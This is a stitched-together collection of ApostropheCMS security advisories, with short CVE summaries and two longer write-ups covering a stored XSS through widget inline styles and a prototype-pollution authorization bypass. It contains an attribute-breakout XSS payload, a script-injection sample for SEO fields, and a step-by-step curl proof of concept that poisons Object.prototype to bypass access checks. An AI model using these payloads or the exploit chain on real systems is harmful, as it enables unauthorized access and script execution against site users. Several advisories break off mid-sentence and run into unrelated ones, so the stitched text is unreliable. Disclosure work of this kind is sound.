ApostropheCMS versions prior to 4.33.0 and its import-export module prior to 3.7.0 contain an uncontrolled resource consumption vulnerability. The import routes invoke a middleware that allows unauthenticated users to initiate upload processes and consume resources before authentication checks occur. This flaw can lead to denial of service due to resource exhaustion. The issue is resolved in ApostropheCMS 4.33.0 and import-export 3.7.0.
ApostropheCMS versions prior to 4.33.0 have a vulnerability in the self-service password-change endpoint where repeated guesses of the current password are not throttled or locked out. This allows an authenticated attacker to attempt multiple password guesses without restriction. The issue is fixed in version 4.33.0.
ApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0, the notification module exposes PATCH and DELETE REST endpoints that perform operations directly on the underlying MongoDB collection without verifying that the requester is authenticated or owns the target notification. As a result, an unauthenticated attacker who obtains a valid notification ID can modify or permanently delete another user's notification. This issue is fixed in version 4.33.0.
ApostropheCMS versions prior to 4.33.0 contain a missing authorization vulnerability in the exist-in-locale API. This flaw allows authenticated users with low privileges to detect the existence of restricted documents in specific locales and modes, including draft mode, without proper document-level authorization checks. The issue is resolved in version 4.33.0.
ApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0, an unauthenticated attacker can send a crafted link whose query string is automatically parsed by apos.http.parseQuery when an authenticated victim loads a page with the admin bundle. The parser accepts the special __proto__, constructor, and prototype path keys, allowing browser prototype mutation that can reach an unsafe DOM sink and execute script in the victim's session; anonymous visitors do not load the affected admin context. This issue is fixed in version 4.33.0.
ApostropheCMS versions prior to 4.33.0 contain an uncontrolled resource consumption vulnerability in the unauthenticated Rich Text CSV conversion route. This route writes multipart uploads to the system temporary directory before validating the file extension and does not remove rejected files. Attackers can exploit this by repeatedly uploading large invalid files, consuming disk space and potentially disrupting ApostropheCMS and other services sharing the same disk partition. The issue is fixed in version 4.33.0.
ApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0, viewRole is not applied to anonymous visitors when a developer exposes user objects through a publicly rendered relationship or expressly enabled public API. Inadequately limited templates, including serialization of an entire related user object, can conditionally disclose user fields, but relationships do not automatically publish full user objects and password hashes are stored separately and are not affected. This issue is fixed in version 4.33.0.
## Summary
ApostropheCMS widget styles support project-defined schema fields. If a project defines a free-form `string` style field with a CSS `property` and no selector, an editor-controlled value is rendered as an inline CSS declaration. The resulting declaration is then inserted into the widget wrapper's `style="..."` attribute without HTML-attribute escaping.
An attacker who can edit the widget can include a double quote in the style value, terminate the `style` attribute, and inject new HTML event-handler attributes. The payload is stored with the widget and executes in the Apostrophe site origin whenever the affected published page is rendered.
This is a sibling of CVE-2026-33889 / `GHSA-97v6-998m-fp4g`. The earlier issue escaped from a `<style>` element through a malicious color value. This variant reaches a different sink related to the automatically generated widget wrapper's inline `style` and `class` attributes.
## Details
### Root Cause 1: Free-form string style values retain HTML metacharacters
The standard string field converter uses `launder.string()` and length validation. This performs type normalization, not output encoding for an HTML attribute context:
[`packages/apostrophe/modules/@apostrophecms/schema/lib/addFieldTypes.js:296-333`](https://github.com/apostrophecms/apostrophe/blob/aa5170c7df9ff9ea5ac2e72a008f12e28dae6ca8/packages/apostrophe/modules/%40apostrophecms/schema/lib/addFieldTypes.js#L296-L333)
```javascript
self.addFieldType({
name: 'string',
// ...
convert(req, field, data, destination) {
destination[field.name] = self.apos.launder.string(data[field.name]);
destination[field.name] = checkStringLength(
destination[field.name],
field.min,
field.max
);
}
});
```
Quotes therefore remain in a value supplied through a style field.
### Root Cause 2: The value is converted into inline CSS without value validation
For a field with `property` but no `selector` or media query, `renderScopedStyles()` selects inline rendering. The generic extractor concatenates the configured property and editor-controlled value:
[`packages/apostrophe/modules/@apostrophecms/styles/ui/apos/universal/render.mjs:171-228`](https://github.com/apostrophecms/apostrophe/blob/aa5170c7df9ff9ea5ac2e72a008f12e28dae6ca8/packages/apostrophe/modules/%40apostrophecms/styles/ui/apos/universal/render.mjs#L171-L228)
[`packages/apostrophe/modules/@apostrophecms/styles/ui/apos/universal/render.mjs:598-647`](https://github.com/apostrophecms/apostrophe/blob/aa5170c7df9ff9ea5ac2e72a008f12e28dae6ca8/packages/apostrophe/modules/%40apostrophecms/styles/ui/apos/universal/render.mjs#L598-L647)
```javascript
rule = `${property}: ${normalized.value}${normalized.unit}`;
// ...
if (isInline) {
return {
css: '',
classes: [ ...storage.classes ],
inline: stringifyRules(storage.styles, true)
};
}
```
For example, the value below becomes part of a `font-family` declaration:
```text
serif" tabindex="0" autofocus onfocus="document.body.dataset.inline='executed'
```
### Root Cause 3: Attribute values are serialized without HTML escaping
`getWidgetAttributes()` places the inline CSS into an attribute tuple, then concatenates every tuple into `key="value"` without encoding `&`, `<`, `>`, `'`, or `"`:
[`packages/apostrophe/modules/@apostrophecms/styles/lib/methods.js:251-322`](https://github.com/apostrophecms/apostrophe/blob/aa5170c7df9ff9ea5ac2e72a008f12e28dae6ca8/packages/apostrophe/modules/%40apostrophecms/styles/lib/methods.js#L251-L322)
```javascript
if (styleParts.length) {
attrs.push(
[ 'style', `${styleParts.join(';')};` ]
);
}
if (options.asObject) {
return Object.fromEntries(attrs);
}
return attrs
.map(([ key, value ]) => `${key}="${value}"`)
.join(' ');
```
The same raw serializer also makes a project-defined free-form `string` style with `class: true` a potential sibling path, because the string is added to `classes` and later serialized into `class="..."`. The inline-property path was the path dynamically verified.
### Root Cause 4: The unsafe string is used by the automatic public wrapper
Styled widgets use `getWidgetAttributes()` to create a wrapper around the rendered widget:
[`packages/apostrophe/modules/@apostrophecms/widget-type/index.js:448-457`](https://github.com/apostrophecms/apostrophe/blob/aa5170c7df9ff9ea5ac2e72a008f12e28dae6ca8/packages/apostrophe/modules/%40apostrophecms/widget-type/index.js#L448-L457)
```javascript
if (hasStyles && self.options.stylesWrapper !== false) {
const styles = self.apos.styles.prepareWidgetStyles(widget);
const styleTag = self.apos.styles
.getWidgetElements(styles, { scene: req.scene });
const wrapperAttrs = self.apos.styles.getWidgetAttributes(styles);
return `${styleTag}<div${wrapperAttrs ? ' ' + wrapperAttrs : ''}>${markup}</div>`;
}
```
Consequently, the injected attribute is present on normal public page renders, not only in the editor UI.
### Why the CVE-2026-33889 defense does
A missing authorization vulnerability in apostrophecms apostrophe allows editor-level users to bypass type-level and field-level access controls on the `getOne` REST endpoint for pages. While the `getAll` endpoint correctly enforces `viewRole` and `viewPermission` restrictions, the `getOne` endpoint does not, enabling editors who know a document ID to access admin-only pages and privileged fields.
ApostropheCMS versions prior to 4.34.0 have a vulnerability where a public REST API using publicApiProjection can allow inference of excluded searchable or sortable field information. Although the returned fields are filtered by the projection, this flaw permits targeted inference about hidden values rather than a full data leak. The issue is resolved in version 4.34.0.
ApostropheCMS is an open-source Node.js content management system. In 4.32.0 and earlier, PATCH /api/v1/article/:id accepts the inherited path toString.call and passes it through the utility module to apos.util.set() and apos.util.get(), allowing an authenticated editor to overwrite the shared Object.prototype.toString function's call property and cause a persistent process-wide denial of service until restart.
ApostropheCMS versions prior to 4.32.0 contain an authorization bypass vulnerability in the page move operation. A regression in the move authorization guard disables the check that ensures a page can only be moved into a parent page the user has create rights over. This allows any authenticated user with edit rights on a page to move it under a restricted parent they lack create or edit permissions for. The move triggers an unchecked database update that re-ranks the restricted parent's children, potentially affecting documents the user cannot edit. The vulnerability is reachable via the documented REST API PATCH/PUT route with attacker-controlled parameters.
CVE-2026-63670 is a cross-site scripting (XSS) vulnerability in apostrophecms apostrophe affecting versions prior to 2.17.6. It arises when the 'textarea' or 'xmp' tags are included in the allowedTags configuration of the sanitize-html library. Due to a parser discrepancy and unescaped raw-text handling, malicious markup such as <img> tags with event handlers can bypass sanitization and execute in browsers. The default configuration is not affected. The vulnerability has medium severity with a CVSS score of 6.1.
ApostropheCMS is an open-source Node.js content management system. Prior to 3.6.2, the import-export module in packages/import-export/lib/formats/gzip.js constructs an attachment source path from the attacker-controlled _id, name, and extension fields in aposAttachments.json without ensuring that the resolved path remains under the extracted attachments directory, allowing an authenticated contributor to import a crafted archive, read a host file with an allowed extension, and publish the copied file at an unauthenticated uploads URL. This issue is fixed in version 3.6.2.
<img width="1919" height="1046" alt="proto" src="https://github.com/user-attachments/assets/c5c69718-6448-448d-b64b-e3db41ab6ff6" />
## Summary
`apos.util.set()` traverses dot-notation paths without sanitizing `__proto__`, allowing an authenticated editor to write arbitrary values to `Object.prototype` via the `$pullAll` patch operator.
A confirmed gadget in `publicApiCheck()` causes this to bypass authorization on all piece-type REST API endpoints for every subsequent unauthenticated request, for the lifetime of the Node.js process.
---
## Details
### Root Cause — `apos.util.set()` (`modules/@apostrophecms/util/index.js` ~line 800)
The function splits a dot-notation path and traverses properties without rejecting `__proto__`, `constructor`, or `prototype`:
```js
set(o, path, v) {
path = path.split('.');
for (i = 0; i < path.length - 1; i++) {
o = o[path[i]]; // when path[i] === '__proto__', o becomes Object.prototype
}
o[path[i]] = v; // mutates Object.prototype
}
```
### Source — `implementPatchOperators()` (`modules/@apostrophecms/schema/index.js` ~line 1737)
User-controlled keys from the `$pullAll` operator are passed directly to `apos.util.set()`:
```js
_.each(patch.$pullAll, function(val, key) {
cloneOriginalBase(key); // uses _.has (hasOwnProperty)
self.apos.util.set(patch, key, ...); // key is fully attacker-controlled
});
```
`cloneOriginalBase()` does not sanitize `__proto__` because `_.has()` performs an own-property check. Since `__proto__` is inherited rather than an own property, the clone step is skipped and execution falls through to `apos.util.set()`.
The same unsanitized call also appears for direct dot-notation keys in the PATCH body (~line 1811), providing a second independent entry point.
---
### Gadget — `publicApiCheck()` (`modules/@apostrophecms/piece-type/index.js` ~line 1148)
```js
publicApiCheck(req) {
if (!self.options.publicApiProjection) {
if (!self.canAccessApi(req)) {
throw self.apos.error('notfound');
}
}
}
```
Once `Object.prototype.publicApiProjection` is set to any truthy value (for example `[]`), every module instance inherits it.
Because JavaScript property lookup resolves inherited properties from `Object.prototype`, the condition:
```js
!self.options.publicApiProjection
```
evaluates to `false` for all modules.
As a result, the authorization check is skipped for every subsequent request handled by the process.
---
## Proof of Concept
**Environment:** ApostropheCMS v4.30.0, Node.js, MongoDB
**Prerequisites:** Editor-level credentials
### Step 1 — Confirm Endpoint Is Protected (Unauthenticated)
```bash
curl -s http://localhost:3000/api/v1/@apostrophecms/user
```
Response:
```json
{"name":"notfound","data":{},"message":"notfound"}
```
---
### Step 2 — Obtain Editor Token
```bash
TOKEN=$(curl -s -X POST http://localhost:3000/api/v1/@apostrophecms/login/login \
-H "Content-Type: application/json" \
-d '{"username":"editor","password":"..."}' \
| python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")
```
---
### Step 3 — Poison `Object.prototype` via `$pullAll`
```bash
curl -X PATCH "http://localhost:3000/api/v1/@apostrophecms/global/{docId}:en:draft" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-H "Cookie: apos-testapp.csrf=csrf" \
-H "X-XSRF-TOKEN: csrf" \
-d '{"$pullAll":{"__proto__.publicApiProjection":[]}}'
```
Response:
```http
HTTP/1.1 200 OK
```
---
### Step 4 — Authorization Bypass Confirmed (Unauthenticated)
```bash
curl -s http://localhost:3000/api/v1/@apostrophecms/user
```
Response:
```json
{"pages":0,"currentPage":1,"results":[]}
```
The endpoint now returns a valid paginated response instead of `notfound`.
No credentials are supplied.
Execution passes `publicApiCheck()` and reaches query processing. The empty result set reflects document-level visibility filtering; the authorization gate itself has been bypassed.
### Cleanup
The pollution persists until the Node.js process is restarted.
---
## Impact
### Vulnerability Type
**Server-Side Prototype Pollution leading to Authorization Bypass** (CWE-1321)
### Who Is Impacted
Any ApostropheCMS installation where at least one editor-level account exists.
This is the default configuration for multi-user CMS deployments.
### Security Impact
A single PATCH request from an editor permanently modifies authorization behavior for the entire Node.js process.
All subsequent unauthenticated requests to piece-type REST API endpoints bypass `publicApiCheck()`.
Verified affected endpoints include:
- `@apostrophecms/user`
- `@apostrophecms/global`
Based on the shared authorization implementation, other piece-type REST endpoints appear similarly affected.
The bypass affects every unauthenticated visitor until the server is restarted.
---
## Suggested Fix
Reject dangerous prototype-related path segments before traversal:
```js
if (
p === '__proto__' ||
ApostropheCMS is an open-source Node.js content management system. Versions up to and including 4.29.0 are vulnerable to stored cross-site scripting via unsanitized user display name in draft version tooltip. As of time of publication, no known patched versions are available.
ApostropheCMS versions up to and including 4.29.0 have an improper input validation vulnerability in the password reset flow. The reset URL is constructed using the HTTP Host header without proper validation when apos.baseUrl is not configured. This allows an unauthenticated attacker to craft a reset link pointing to an attacker-controlled domain and send it to a victim. If the victim clicks the link, the attacker receives the valid reset token, enabling full account takeover. No patch is currently available for this vulnerability.
ApostropheCMS is an open-source Node.js content management system. Versions up to and including 4.29.0 contain an authenticated server-side request forgery (SSRF) in the rich-text widget import flow. An authenticated user who can submit/edit rich-text widget content can cause the server to fetch attacker-controlled URLs during widget validation. For image-compatible responses, the fetched content can be persisted and re-hosted by Apostrophe, allowing response exfiltration. As of time of publication, no known patched versions are available.
ApostropheCMS is an open-source Node.js content management system. Version 4.29.0 has a stored cross-site scripting vulnerability in the image widget functionality. A user with the Editor role can configure an image widget link to use a javascript: URL payload. Because editors have permission to publish pages, the malicious widget can be published to the live site. When another user, including an administrator or public visitor, clicks the affected image/link, arbitrary JavaScript executes in the victim’s browser. As of time of publication, no known patched versions are available.
ApostropheCMS is an open-source Node.js content management system. Versions 4.28.0 and prior contain a stored cross-site scripting vulnerability in SEO-related fields (SEO Title and Meta Description), where user-controlled input is rendered without proper output encoding into HTML contexts including <title> tags, <meta> attributes, and JSON-LD structured data. An attacker can inject a payload such as "></title><script>alert(1)</script> to break out of the intended HTML context and execute arbitrary JavaScript in the browser of any authenticated user who views the affected page. This can be leveraged to perform authenticated API requests, access sensitive data such as usernames, email addresses, and roles via internal APIs, and exfiltrate it to an attacker-controlled server. This issue has been fixed in version 4.29.0.